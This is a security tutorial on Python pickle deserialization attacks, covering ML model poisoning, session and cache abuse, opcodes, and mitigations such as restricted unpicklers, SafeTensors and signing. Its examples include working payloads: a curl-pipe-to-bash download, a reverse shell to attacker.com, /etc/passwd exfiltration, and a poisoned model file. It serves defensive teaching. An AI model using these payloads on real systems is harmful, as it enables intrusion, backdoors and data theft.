Python's pickle module is a powerful serialization library that can convert complex Python objects into byte streams and back. However, this convenience comes with a severe security risk: deserializing untrusted pickle data can lead to arbitrary code execution. This article explores how pickle deserialization attacks work, why they're so dangerous, and what makes them particularly insidious in modern ML/AI pipelines.
What is Pickle?
Pickle is Python's native serialization protocol for converting Python objects into a byte stream (pickling) and reconstructing them later (unpickling):
import pickle
# Serialize an object
data = {"user": "alice", "scores": [95, 87, 92]}
serialized = pickle.dumps(data)
# Deserialize back to Python object
restored = pickle.loads(serialized)
Why Pickle is Popular
| Use Case | Example |
|---|---|
| Caching | Store computed results to disk |
| IPC | Pass objects between processes |
| ML Models | Save trained model weights |
| Session Data | Serialize user session state |
| Message Queues | Send Python objects via Redis/RabbitMQ |
Pickle can serialize almost anything: classes, functions, nested structures, and even lambda expressions (with limitations).
The Security Warning
Python's official documentation contains an explicit warning:
Warning: The pickle module is not secure. Only unpickle data you trust.
It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.
Despite this warning, pickle vulnerabilities continue to appear in production systems because:
- Developers underestimate the risk
- Trust boundaries are unclear
- Pickle is deeply embedded in popular frameworks
- The attack surface is often hidden
How Pickle Executes Code
The __reduce__ method is the key to understanding pickle attacks. When an object defines __reduce__, pickle calls it during serialization to get instructions for reconstruction:
class SafeExample:
def __init__(self, value):
self.value = value
def __reduce__(self):
# Returns (callable, args) - pickle will call callable(*args)
return (SafeExample, (self.value,))
During unpickling, pickle executes: SafeExample(self.value) to reconstruct the object.
The Attack Vector
An attacker can abuse __reduce__ to execute arbitrary code:
import pickle
import os
class MaliciousPayload:
def __reduce__(self):
# This will execute during unpickling!
return (os.system, ("whoami",))
# Create malicious pickle
payload = pickle.dumps(MaliciousPayload())
# Victim unpickles the data
pickle.loads(payload) # Executes: os.system("whoami")
When the victim calls pickle.loads(), the os.system("whoami") command executes with the victim's privileges.
Anatomy of a Pickle Exploit
Basic RCE Payload
import pickle
import base64
class RCE:
def __reduce__(self):
import os
return (os.system, ("curl attacker.com/shell.sh | bash",))
# Generate payload
payload = base64.b64encode(pickle.dumps(RCE()))
print(payload.decode())
Reverse Shell Payload
class ReverseShell:
def __reduce__(self):
import socket, subprocess, os
return (
exec,
("""import socket,subprocess,os;s=socket.socket();s.connect(('attacker.com',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])""",)
)
Stealthy Data Exfiltration
class Exfiltrate:
def __reduce__(self):
return (
eval,
("__import__('urllib.request', fromlist=['urlopen']).urlopen('https://attacker.com/steal?data=' + open('/etc/passwd').read().replace('\\n', '%0A'))",)
)
Real-World Attack Scenarios
1. Machine Learning Model Poisoning
ML models are frequently saved as pickle files (.pkl, .pickle, .joblib):
# Legitimate model saving
import joblib
from sklearn.ensemble import RandomForestClassifier
model = RandomForestClassifier()
model.fit(X_train, y_train)
joblib.dump(model, "model.pkl") # Uses pickle internally
An attacker who can modify model.pkl (via supply chain, storage access, or MITM) can inject RCE:
# Attacker creates poisoned model
class PoisonedModel:
def __reduce__(self):
return (os.system, ("curl attacker.com/backdoor.sh | bash",))
def predict(self, X):
return [0] * len(X) # Fake predictions
joblib.dump(PoisonedModel(), "model.pkl")
When the victim loads the model:
model = joblib.load("model.pkl") # RCE triggered!
predictions = model.predict(X_test)
2. Web Application Session Hijacking
Flask with server-side sessions:
# Vulnerable session configuration
app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_SERIALIZER'] = 'pickle'
If an attacker can manipulate session files or the session cookie (in some configurations), they can inject malicious pickle data.
3. Redis/Memcached Cache Poisoning
import redis
import pickle
r = redis.Redis()
# Application caches user data
def get_user(user_id):
cached = r.get(f"user:{user_id}")
if cached:
return pickle.loads(cached) # Vulnerable!
# ... fetch from database
An attacker with Redis access can poison the cache with malicious pickle payloads.
4. PyTorch Model Loading
PyTorch uses pickle for model serialization:
import torch
# Loading untrusted model = RCE
model = torch.load("untrusted_model.pt") # Vulnerable!
The torch.load() function is essentially a wrapper around pickle, making it equally dangerous with untrusted files.
The Pickle Opcodes
Understanding pickle's bytecode helps in analyzing payloads:
import pickletools
payload = pickle.dumps({"key": "value"})
pickletools.dis(payload)
Output:
0: \x80 PROTO 4
2: \x95 FRAME 19
11: } EMPTY_DICT
12: \x94 MEMOIZE
13: \x8c SHORT_BINUNICODE 'key'
18: \x94 MEMOIZE
19: \x8c SHORT_BINUNICODE 'value'
26: \x94 MEMOIZE
27: s SETITEM
28: . STOP
Key dangerous opcodes:
| Opcode | Name | Danger Level | Purpose |
|---|---|---|---|
R |
REDUCE | Critical | Calls function with args from stack |
c |
GLOBAL | High | Imports module.name |
i |
INST | Critical | Creates instance (calls __init__) |
o |
OBJ | Critical | Creates object (calls __new__ + __init__) |
b |
BUILD | Medium | Calls __setstate__ |
Why Pickle Attacks Are Hard to Detect
1. Binary Format Obscurity
Pickle data is binary, not human-readable:
\x80\x04\x95\x1f\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.
2. Legitimate-Looking Payloads
Malicious payloads can be hidden within legitimate data structures:
class TrojanModel:
def __init__(self):
self.weights = [0.1, 0.2, 0.3] # Looks legitimate
self.bias = 0.5
def __reduce__(self):
# Hidden payload
return (eval, ("__import__('os').system('id')",))
3. Dynamic Payload Generation
Attackers can use pickle's GLOBAL opcode to import any module:
# This payload doesn't require importing os in the script
import pickle
import pickletools
# Manually craft payload using opcodes
payload = b'\x80\x04\x95\x1f\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c\x06whoami\x94\x85\x94R\x94.'
pickle.loads(payload) # Executes whoami
Common Vulnerable Patterns
Pattern 1: Direct User Input
# VULNERABLE
@app.route('/api/data', methods=['POST'])
def process_data():
data = pickle.loads(request.data) # Never do this!
return jsonify(data)
Pattern 2: File Uploads
# VULNERABLE
def load_model(filepath):
with open(filepath, 'rb') as f:
return pickle.load(f) # Dangerous with user uploads
Pattern 3: Network Data
# VULNERABLE
def receive_task(socket):
data = socket.recv(4096)
task = pickle.loads(data) # Attacker-controlled data
execute_task(task)
Pattern 4: Database Storage
# VULNERABLE
def get_user_preferences(user_id):
row = db.query("SELECT prefs FROM users WHERE id=?", user_id)
return pickle.loads(row['prefs']) # If prefs can be modified
The ML/AI Pipeline Risk
Modern AI systems are particularly vulnerable because:
1. Model Sharing is Common
- Hugging Face Hub hosts thousands of models
- Kaggle datasets include pre-trained models
- GitHub repos share model weights
2. Trust is Often Implicit
Researchers download and run models without verification:
# Common but dangerous pattern
model = torch.load("downloaded_model.pt")
model.eval()
output = model(input_data)
3. Supply Chain Complexity
ML pipelines involve many dependencies:
Data Source → Preprocessing → Training → Model File → Inference
↓ ↓ ↓ ↓ ↓
(pickle?) (pickle?) (pickle?) (pickle!) (pickle?)
Any step using pickle is a potential attack vector.
Mitigation Strategies
1. Avoid Pickle for Untrusted Data
Use safer alternatives:
| Format | Library | Safe? | Limitations |
|---|---|---|---|
| JSON | json |
Yes | Basic types only |
| MessagePack | msgpack |
Yes | Basic types only |
| Protocol Buffers | protobuf |
Yes | Requires schema |
| YAML | pyyaml (safe_load) |
Yes | Basic types only |
| Pickle | pickle |
No | Full Python objects |
2. Use SafeTensors for ML Models
from safetensors import safe_open
from safetensors.torch import save_file
# Safe saving
tensors = {"weight": model.weight, "bias": model.bias}
save_file(tensors, "model.safetensors")
# Safe loading
with safe_open("model.safetensors", framework="pt") as f:
weight = f.get_tensor("weight")
3. Restricted Unpickler
Create a custom unpickler that only allows safe classes:
import pickle
import io
SAFE_CLASSES = {
('numpy', 'ndarray'),
('numpy', 'dtype'),
('collections', 'OrderedDict'),
}
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if (module, name) in SAFE_CLASSES:
return super().find_class(module, name)
raise pickle.UnpicklingError(
f"Forbidden: {module}.{name}"
)
def safe_loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
4. Signature Verification
Sign pickle files and verify before loading:
import hmac
import hashlib
SECRET_KEY = b'your-secret-key'
def sign_pickle(data):
signature = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
return signature + ':' + data.hex()
def verify_and_load(signed_data):
signature, hex_data = signed_data.split(':')
data = bytes.fromhex(hex_data)
expected = hmac.new(SECRET_KEY, data, hashlib.sha256).hexdigest()
if not hmac.compare_digest(signature, expected):
raise ValueError("Invalid signature")
return pickle.loads(data)
Detection and Analysis
Static Analysis
Scan for dangerous pickle usage:
# Find pickle.loads calls
grep -rn "pickle.loads" --include="*.py" .
grep -rn "pickle.load" --include="*.py" .
grep -rn "torch.load" --include="*.py" .
grep -rn "joblib.load" --include="*.py" .
Runtime Monitoring
Hook pickle operations:
import pickle
original_loads = pickle.loads
def monitored_loads(data, *args, **kwargs):
# Log or analyze before loading
print(f"[PICKLE] Loading {len(data)} bytes")
return original_loads(data, *args, **kwargs)
pickle.loads = monitored_loads
Payload Analysis
Disassemble suspicious pickle files:
import pickletools
with open("suspicious.pkl", "rb") as f:
pickletools.dis(f)
Look for:
GLOBALopcodes importingos,subprocess,builtinsREDUCEopcodes calling dangerous functions- Obfuscated or encoded strings
Conclusion
Pickle deserialization remains one of Python's most dangerous features. The combination of powerful serialization capabilities and implicit code execution creates a perfect storm for security vulnerabilities. Key takeaways:
- Never unpickle untrusted data - this cannot be overstated
- ML/AI pipelines are high-risk - models are often shared without verification
- Use safer alternatives - JSON, SafeTensors, Protocol Buffers
- Defense in depth - signatures, restricted unpicklers, sandboxing
The next article explores Pickleguard, a tool designed to detect and prevent pickle-based attacks in Python applications and ML pipelines.
Further Reading: